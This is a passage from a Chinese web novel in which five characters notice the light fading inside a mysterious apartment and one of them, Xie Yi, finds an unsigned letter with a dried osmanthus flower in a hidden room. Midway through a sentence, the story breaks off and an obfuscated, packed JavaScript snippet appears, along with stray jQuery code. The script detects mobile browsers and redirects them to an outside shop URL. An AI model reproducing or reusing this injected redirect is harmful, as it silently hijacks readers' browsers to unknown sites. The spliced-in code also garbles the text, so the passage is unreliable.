客厅里的光线又暗了一度。像有什么看不见的调节旋钮被拧动了一格，墙壁上的阴影轮廓加深了，空调的出风口吹出的风也变得更凉了一些。
江野率先注意到了这种变化。他睁开眼，看了看天花板上的灯，又看了看窗外——白色虚空依然是白色虚空，没有变暗的趋势。但房间内部的光源确实在缓慢地、几乎不可察觉地衰减。
"……光在变暗。"他说。
徐晓从词典上抬起头，推了推眼镜："确实。比刚才大概暗了百分之十五左右。系统在调整环境参数。"
"为什么？"
"可能是阶段性切换。"许清寒放下杂志，抬头看了看天花板，"副本的'五天'是按时间线推进的。虽然窗外看不出早晚，但室内灯光会根据'时间'变化。"
林安诚放下笔，重瞳在逐渐变暗的光线里显得更深了。她把练习册合上，从茶几边沿站起来，走到窗边往外看。外面的白色虚空依然是那种均匀的、没有纹理的白，但在变暗的光线里，它开始呈现出一种极淡的灰色调，像一张白纸被放在阴影里太久之后泛起的旧色。
谢意从书页上抬起头，看了看窗外的变化，然后放下了手里的书。他站起来，走到走廊口停了一下，回头看了其他人一眼。
"我去看看那间暗室。"
"现在？"
"现在。光线暗了，那间暗室可能会露出一些白天被亮光盖住的东西。"
他没有等其他人回应，转身走进了走廊。脚步声在偏暗的走廊里显得很清晰，一下一下，均匀而稳。其他四个人跟了上来。
走廊里的灯光比客厅更暗一些，像灯泡的瓦数被人悄悄换了。踢脚线拐角处那道细缝在偏暗的光线下反而更明显了，像一道被描过的边界线。谢意蹲下来，伸手在踢脚线拐角处那个几乎看不见的按钮上按了一下，墙面内部传来轻微的机械声响，墙板朝内推进，露出黑洞洞的入口。
五个人再次钻了进去。
小房间里的灯光没变——那盏旧灯泡依然亮着昏黄的光。但和白天相比，确实有一些东西不一样了。
架子的最底层，在白天被阴影遮住的位置，多了一只新的盒子。纸质的，颜色和旁边那些旧盒子略有不同，边缘的折痕更新，像是不久前才被放在这里的。
谢意蹲下来，拿起那只盒子。上面没有标签。他打开盖子。里面是一封信，白色的信封没有封口，一张折叠好的信纸露在外面的开口。他把信纸抽出来展开。
纸上的字迹和之前那些纸条上的不同，更潦草，笔压更重，像写的时候心情不太平静。字里行间偶尔有墨水洇开的痕迹，像笔尖停顿了太久。
"谢意，如果你看到这封信，说明你已经找到了这里。"
"我猜你记不得我了。没关系。有些事忘了反而是好事。"
"你可能会奇怪为什么会有这么多盒子，为什么每一件东西都留着。因为我想让你知道，你是有来处的。你不是从石头缝里蹦出来的。有人很认真地爱过你。"
"有些事你现在不需要知道。等你准备好了，你会想起来的。"
信的末尾没有署名。但纸的折痕处夹着一小片东西——一片已经干枯的、褐色的桂花。
谢意把那片桂花拿起来，放在手心里看了很久。桂花的轮廓已经变形了，花瓣缩成了细小的褐色卷曲，但那股淡淡的甜香依然附着在干燥的表面上，轻轻地、像隔了很多年慢慢地渗出来。
他把桂花放回信纸的折痕里，把信纸重新折好放回信封，信封放回盒子，盒子放回架子上。他站起来的时候动作很慢，像肩头多了一层看不见的重量。
江野站在他身后，看着他把盒子放回去。他轻声问了一句："……上面写了什么？"
谢意把那只盒子放回最底层的位置，平了平它的边角，然后直起身。"她说，有些事我现在不需要知道。等我准备好了，会想起来的。"
江野沉默了一会儿。然后他问："那你准备好了吗？"
谢意站在那排架子前面，昏黄的灯光把所有人的影子投在墙壁上。他看了片刻那些整整齐齐地码着的盒子，从"一岁"到"十五岁"，每一个都装着他的一部分。
"……还没有。"他说。
他转身往门口走，经过其他人的时候停了一下，看了林安诚一眼。林安诚站在架子边上，重瞳在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814548|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那些盒子上停留了一瞬，像在数它们的数目。她的嘴唇动了动，无声地数到了"十五"，然后停住了。
她没有跟上来。她的目光落在"十五"之后那片空荡荡的架面上，像在等着什么填补上去。
五个人陆续从暗室里退出来。墙板重新合拢，细缝藏回踢脚线的阴影里。客厅的光线比刚才更暗了，墙壁上的装饰画轮廓开始模糊，桌上的杯子边缘只能看见一道灰色的弧光。
"……晚上要来了。"许清寒说。
"是副本的第二夜。"徐晓推了推眼镜，"按计划表的日程，晚上十一点之后是休息时间。"
"但计划表上十一点之前还有三小时的学习时间。"林安诚抱着灰兔子，重瞳在昏暗的光线里安静地转了一下，"如果不学，又会电。"
五个人站在渐渐暗下去的客厅里，窗外的白色虚空此刻呈现出了一种从未有过的状态——那层均匀的白正在从边缘开始变灰，像一张白纸被火从外围点燃，灰烬缓慢地向中心蔓延。
谢意站在沙发旁边，紫眼睛看着窗外那片正在被灰色蚕食的白。他的脑海中依然浮着那封信里的字句，尤其是那一句："有些事你现在不需要知道。等你准备好了，你会想起来的。"
他把这句话在意识里叠好，放进一个不会被打扰的角落，然后抬眼看着其他四个人。
"晚上来了。"他说，"按表走。"
五个人在暗下来的客厅里各自散开——江野和徐晓走进次卧开始晚自习——他打开台灯，把英语词典摊在桌上，徐晓坐在对面写数学题；林安诚坐在餐桌边借着客厅的暗光做她的练习题；许清寒坐在沙发上看那本医学杂志，偶尔抬头看一眼窗外的灰色变化；谢意坐在单人沙发里，膝盖上摊着那本旧书，但他没有在读。
他只是在想，那片干枯的桂花是从哪一年的秋天采下来的。她把它夹进信纸里的时候，窗外是不是也像现在一样正在变暗。
他在想，他什么时候才算"准备好了"。
窗外那片白，正在一寸一寸被灰蚕食。夜色从四面八方合拢过来，像一个巨大的、正在缓慢闭上的眼睑，把所有东西都往黑暗里轻轻推了一把。